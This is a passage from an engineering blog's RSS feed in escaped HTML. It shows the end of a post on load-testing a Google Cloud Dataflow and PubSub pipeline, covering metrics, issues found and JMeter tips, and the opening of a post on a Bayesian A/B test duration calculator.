3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Monitoring&lt;/h3&gt; &lt;p&gt;As we are interested in the performance of a data pipeline, some key metrics for us are: &lt;br&gt;&lt;/p&gt; &lt;h4 id=&quot;lag&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lag&quot; aria-label=&quot;lag permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Lag&lt;/h4&gt; &lt;p&gt;Lag for Google Cloud DataFlow is the maximum time that an item of data has been awaiting processing. Increased lag in the system has consequences including but not limited to data freshness. &lt;br&gt; The most recent data sent to the system will not be available for reading and it indicates a problem that the messages are not being consumed at the same or greater rate as they are being pushed into the system. &lt;br&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c03d2b3941552b74d8f75e93c3b981fc/b5cea/pt_datalayer_5.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 46.24277456647399%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsSAAALEgHS3X78AAABMklEQVQoz32S63KCMBCFef9XdLCOYkEIMZBkEwJ4upu2Km3tjzOHXXY+9kJR1zXKssThcMDxeERVVdjv99jtdjifz0gpYZqm7BtND5f38zznuFiWBbfbDeu6Qp7FRZKTWIr/VHq4gIwxcM6hkGSMcVMs8c/cswRAY0BwAZFiFgVCCAHFr1FeKINmBg0hw5xmgA3whnLuPvLLkb52s+mMga738FfKXYkLVPRd8w9wC0/cAQ2Uu7PK5fzYOsTwtE8BSpszf3lOW8lBcp5BSwpYoke0n/EUtv68loJ4kaMnOOJ9ELE45nGM0VDtCarroN8rVG8lzDDye8fXHGGdZTfsjo9B92MV1nuowWHgi/Vaswy0JSiloBqFumEg/xJN26E3PZpLg7a7MNzAXLnmqqF1fx/5A6giuhJQJ1FzAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 5&quot; title=&quot;pt datalayer 5&quot; src=&quot;/static/c03d2b3941552b74d8f75e93c3b981fc/1e043/pt_datalayer_5.png&quot; srcset=&quot;/static/c03d2b3941552b74d8f75e93c3b981fc/991de/pt_datalayer_5.png 173w, /static/c03d2b3941552b74d8f75e93c3b981fc/e4d6b/pt_datalayer_5.png 345w, /static/c03d2b3941552b74d8f75e93c3b981fc/1e043/pt_datalayer_5.png 690w, /static/c03d2b3941552b74d8f75e93c3b981fc/e3189/pt_datalayer_5.png 1035w, /static/c03d2b3941552b74d8f75e93c3b981fc/b5cea/pt_datalayer_5.png 1140w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;System lag for load pipelines&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;br&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/dbe3fec4380b74e301ec01e701447ee9/29114/pt_datalayer_6.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 56.06936416184971%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA2klEQVQoz6VQi47DIAzj/z/1tm5XICUPIGdotYc0aTvNTa2Y4EAIrTUzA7t7790/BjaHm7Dm15Uuy7mUUife+u9mqX5Z8+n0E2OEc7/Lp2Y2j3lbfweq2f167u31NBYwJqK2TmyZChExi9k8epS6WCdpSPBrHXKI2S6I1cIm1kSUpYpWeHfeigxmhIoYcuKaC0ojVC3EmFKKqqKATJ65iOScjsVjfcLwKR51WZZAOdE2sD/SI5gZm8Bo9FztmAsDhrIdZjTtz4AHZpnHwvxYgoQl7GJ0+z+Cf4E/cMiJki54LyoAAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 6&quot; title=&quot;pt datalayer 6&quot; src=&quot;/static/dbe3fec4380b74e301ec01e701447ee9/1e043/pt_datalayer_6.png&quot; srcset=&quot;/static/dbe3fec4380b74e301ec01e701447ee9/991de/pt_datalayer_6.png 173w, /static/dbe3fec4380b74e301ec01e701447ee9/e4d6b/pt_datalayer_6.png 345w, /static/dbe3fec4380b74e301ec01e701447ee9/1e043/pt_datalayer_6.png 690w, /static/dbe3fec4380b74e301ec01e701447ee9/e3189/pt_datalayer_6.png 1035w, /static/dbe3fec4380b74e301ec01e701447ee9/b1001/pt_datalayer_6.png 1380w, /static/dbe3fec4380b74e301ec01e701447ee9/29114/pt_datalayer_6.png 1920w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Lag in pipelines&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;h4 id=&quot;number-of-vcpus-in-use-for-a-pipeline&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#number-of-vcpus-in-use-for-a-pipeline&quot; aria-label=&quot;number of vcpus in use for a pipeline permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Number of vCPUs in use for a pipeline&lt;/h4&gt; &lt;p&gt;This is the number of vCPUs in use by a pipeline, as we have used Google Cloud DataFlow in our data pipeline which scales automatically depending upon the system throughput. We must know when the pipeline scales. &lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8307d77e06e8656e56de47233591cf14/cab8c/pt_datalayer_7.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 53.75722543352601%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABYklEQVQoz31Sy07DMBDM/38CX4LEEQ5c4EaVAxWosZwmJJTEztOxh10TR24prDRaZz3Zh2eTZVkwjuOKAdM0+fMwjKsfPLqu85jnGc45WGs9+Bz+4buEE+Z5jqIoIETmz8fjEZJ8XVWo6hoVeb7nO6U1vFGiYEop9H3/k5Czl0Tm6jKXPqnICELAGINrxl3FCDG2JARD+xuJPREoSncEz1l+JQvgkdknLmo9rlRSd9N7AS1rzPSeEM9o9QdKmiTmXVrC1eNK1hMdXnSP5jHF1+6AWTVAeofyJCBb5X+0Fx3yhNvInID9sgbTtsVNJrF/2EGnGabmE25/j1Mj0Ztl48fJwnuTKAua2fi3CmM8nSrcFqTsa47+TULlBVx1IIXrrehfYiUzVTSrICHYcbUgDK2VnQbA9F4k5+xVpc9GDuDV4TViY9V4t9h4HE37x8kCj3cu8Pj74g3P9+va2Uaj/sf7BqQJXBdpzEYLAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 7&quot; title=&quot;pt datalayer 7&quot; src=&quot;/static/8307d77e06e8656e56de47233591cf14/1e043/pt_datalayer_7.png&quot; srcset=&quot;/static/8307d77e06e8656e56de47233591cf14/991de/pt_datalayer_7.png 173w, /static/8307d77e06e8656e56de47233591cf14/e4d6b/pt_datalayer_7.png 345w, /static/8307d77e06e8656e56de47233591cf14/1e043/pt_datalayer_7.png 690w, /static/8307d77e06e8656e56de47233591cf14/cab8c/pt_datalayer_7.png 744w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;br&gt; &lt;h4 id=&quot;number-of-unacknowledged-messages-in-pubsub&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#number-of-unacknowledged-messages-in-pubsub&quot; aria-label=&quot;number of unacknowledged messages in pubsub permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Number of Unacknowledged messages in PubSub&lt;/h4&gt; &lt;p&gt;For a running pipeline, ideally, this number along-with the system latency metric should remain bounded in a range decided as per business requirements. &lt;br&gt; We can see below that unacknowledged messages reached a peak of 16 Million during one of the load tests.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7c9b72a11ef561cd5214c0af56a198d9/1132d/pt_datalayer_8.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 56.06936416184971%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAABQElEQVQoz4WT2XKDMAxF8/9fl4f2pUyAAi0MS0IBG+OFW0sMaUhCoxmB0HIsG/mgtYZSCkIIjOPI9qpSSvaTba2FMeZB1xriTNOEAyXmeY4kSZCmKYIgQBzHiKIIWZZxbBgG7Enf97zoBliWJbquQ1EUCMOQgafTiZNXmef5qZJQpyQMXD/2xDn3L4zidDQb4G0SJay6ByKWcwZ6EgyicyT/psP94r1t+p8mGraVGh+3fF/w8ty0xKX6eA6cb4oZZPwWXpyd9R1W+RGDqH23jqruOnSO37KOoL7eKL4AruDtAkb7+Wti/HwfYd3816G1BrI9w4oOdhSo4nfoMsRwrtB7/yR6tE2FcegguxZtXUL7vLYq0OefUJccxLgC6UF/iQaTb402fkXw9FNsvQ3L4Gq2yad8bPK5xs4+ttwaqvkFg3RdMUROWC4AAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 8&quot; title=&quot;pt datalayer 8&quot; src=&quot;/static/7c9b72a11ef561cd5214c0af56a198d9/1e043/pt_datalayer_8.png&quot; srcset=&quot;/static/7c9b72a11ef561cd5214c0af56a198d9/991de/pt_datalayer_8.png 173w, /static/7c9b72a11ef561cd5214c0af56a198d9/e4d6b/pt_datalayer_8.png 345w, /static/7c9b72a11ef561cd5214c0af56a198d9/1e043/pt_datalayer_8.png 690w, /static/7c9b72a11ef561cd5214c0af56a198d9/e3189/pt_datalayer_8.png 1035w, /static/7c9b72a11ef561cd5214c0af56a198d9/1132d/pt_datalayer_8.png 1158w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Unacknowledged messages in the subscriptions&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;h2 id=&quot;issues-observed&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#issues-observed&quot; aria-label=&quot;issues observed permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Issues observed&lt;/h2&gt; &lt;h4 id=&quot;data-duplication&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#data-duplication&quot; aria-label=&quot;data duplication permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Data Duplication&lt;/h4&gt; &lt;p&gt;One of the critical issues we observed that the data in our database was getting duplicated. For some messages we have sent to Google Cloud PubSub, we received them twice/found them duplicated. With Cloud Pubsub, unlike &lt;a href=&quot;https://kafka.apache.org/&quot;&gt;Apache Kafka&lt;/a&gt;, we cannot seek a particular message offset and consume data from there. As a result, in case of failures, retries, and upscaling/downscaling of machines, Pubsub/Dataflow can not guarantee exactly-once writes for sinks that are not idempotent.&lt;/p&gt; &lt;p&gt;Our team had to add a de-duplication logic to remediate this issue.&lt;/p&gt; &lt;h4 id=&quot;cost-inefficiency-of-the-solution&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#cost-inefficiency-of-the-solution&quot; aria-label=&quot;cost inefficiency of the solution permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Cost Inefficiency of the solution&lt;/h4&gt; &lt;p&gt;Google Cloud Platform gives us a detailed overview of the billing and charges based on our usage. During our load tests, we found out that certain services in our data pipeline would be too costly on higher visitor traffic. Naturally, we found this out early and remediated the issue by changing our architecture.&lt;/p&gt; &lt;h4 id=&quot;load-test-scripts-inefficiency&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#load-test-scripts-inefficiency&quot; aria-label=&quot;load test scripts inefficiency permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Load test scripts inefficiency&lt;/h4&gt; &lt;p&gt;Not every time we find the problems in the SUT (System Under Test). &lt;br&gt; In the early stages, we found that the load test scripts we created were a memory hog. Despite using all the machine’s memory, the scripts could not generate enough load. We debugged and found out potential issues related to the problem. See the best practices section in this blog for more on this.&lt;/p&gt; &lt;h4 id=&quot;data-loss&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#data-loss&quot; aria-label=&quot;data loss permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Data Loss&lt;/h4&gt; &lt;p&gt;We observed data loss in the system at a very high load. One of the primary reasons for this issue was the high number of update transactions in PostgreSQL. The dead tuples were getting created at a higher rate than they were getting cleaned by the &lt;a href=&quot;https://www.postgresql.org/docs/9.6/routine-vacuuming.html&quot;&gt;auto-vacuum daemon&lt;/a&gt;. This resulted in bloating of the database which subsequently leads to data write being stopped.&lt;/p&gt; &lt;h2 id=&quot;summary&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#summary&quot; aria-label=&quot;summary permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Summary&lt;/h2&gt; &lt;p&gt;Performance testing should be planned carefully and done in an organized manner. We should start it in the early stages of the software development process as it helps in uncovering some of the most critical bugs, which otherwise may prove catastrophic in the future. &lt;/p&gt; &lt;h2 id=&quot;best-practices-for-apache-jmeter&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#best-practices-for-apache-jmeter&quot; aria-label=&quot;best practices for apache jmeter permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Best practices for Apache JMeter&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Always use the latest version of Apache JMeter.&lt;/li&gt; &lt;li&gt;Use the non-GUI mode.&lt;/li&gt; &lt;li&gt;Minimize the use of conditional logic (If statements) in your load test scripts.&lt;/li&gt; &lt;li&gt;Use JSR223 components instead of Beanshell wherever possible.&lt;/li&gt; &lt;li&gt;Disable the &lt;a href=&quot;https://jmeter.apache.org/usermanual/component_reference.html#View_Results_Tree&quot;&gt;View Results Tree&lt;/a&gt;, &lt;a href=&quot;https://jmeter.apache.org/usermanual/component_reference.html#Debug_Sampler&quot;&gt;Debug Sampler&lt;/a&gt;, and &lt;a href=&quot;https://jmeter.apache.org/usermanual/component_reference.html#Summary_Report&quot;&gt;Summary Report&lt;/a&gt; components during the load test.&lt;/li&gt; &lt;li&gt;Use the &lt;strong&gt;caching&lt;/strong&gt; option if you don’t have a direct reference to a variable.&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Sushant Soni</author></item><item><title><![CDATA[Maths behind Bayesian Duration Calculator]]></title><description><![CDATA[Introduction The culture of experimentation is strongly picking up in several sectors of industry. It has become imperative to measure the…]]></description><link>https://engineering.wingify.com//posts/maths-behind-bayesian-duration-calculator/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/maths-behind-bayesian-duration-calculator/</guid><pubDate>Mon, 14 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h2&gt; &lt;p&gt;The culture of experimentation is strongly picking up in several sectors of industry. It has become imperative to measure the impact of product ideas with an A/B test. But before one experiment, it is highly recommended to calculate the sample size needed to measure the effect. This advice comes from the traditional approach of hypothesis testing(used in clinical trials, agriculture, etc) as it gives an estimate of the experiment cost one is likely to incur. Running a test beyond the necessary threshold when the desired effect doesn’t exist can result in wasted time and resources that could be spent elsewhere. That is why this calculation is so important.&lt;/p&gt; &lt;h2 id=&quot;overview&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#overview&quot; aria-label=&quot;overview permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Overview&lt;/h2&gt; &lt;p&gt;The duration calculators available in the industry are built on the frequentist based hypothesis testing in which for a certain Type 1 and Type 2 error and a given Conversion Rate(&lt;code class=&quot;language-text&quot;&gt;CR&lt;/code&gt;), improvement, and number of variations one gets an estimated sample size (refer &lt;a href=&quot;https://vwo.com/blog/ab-test-duration-calculator/&quot;&gt;A/B Test Duration Calculator&lt;/a&gt; for more details). However, if one cares about bayesian metrics these calculators do not provide a correct estimate of the test as they do not take into account the bayesian metrics criteria in their sample size calculation.&lt;/p&gt; &lt;p&gt;We at VWO have built a sample size calculator that aligns well with the bayesian metrics we use to check smart decisions in an A/B test. This gives the user a perspective on when a test will end with a smart decision in VWO in median cases if the assumptions on conversion rate and minimum improvement of an experiment by the user holds true.&lt;/p&gt; 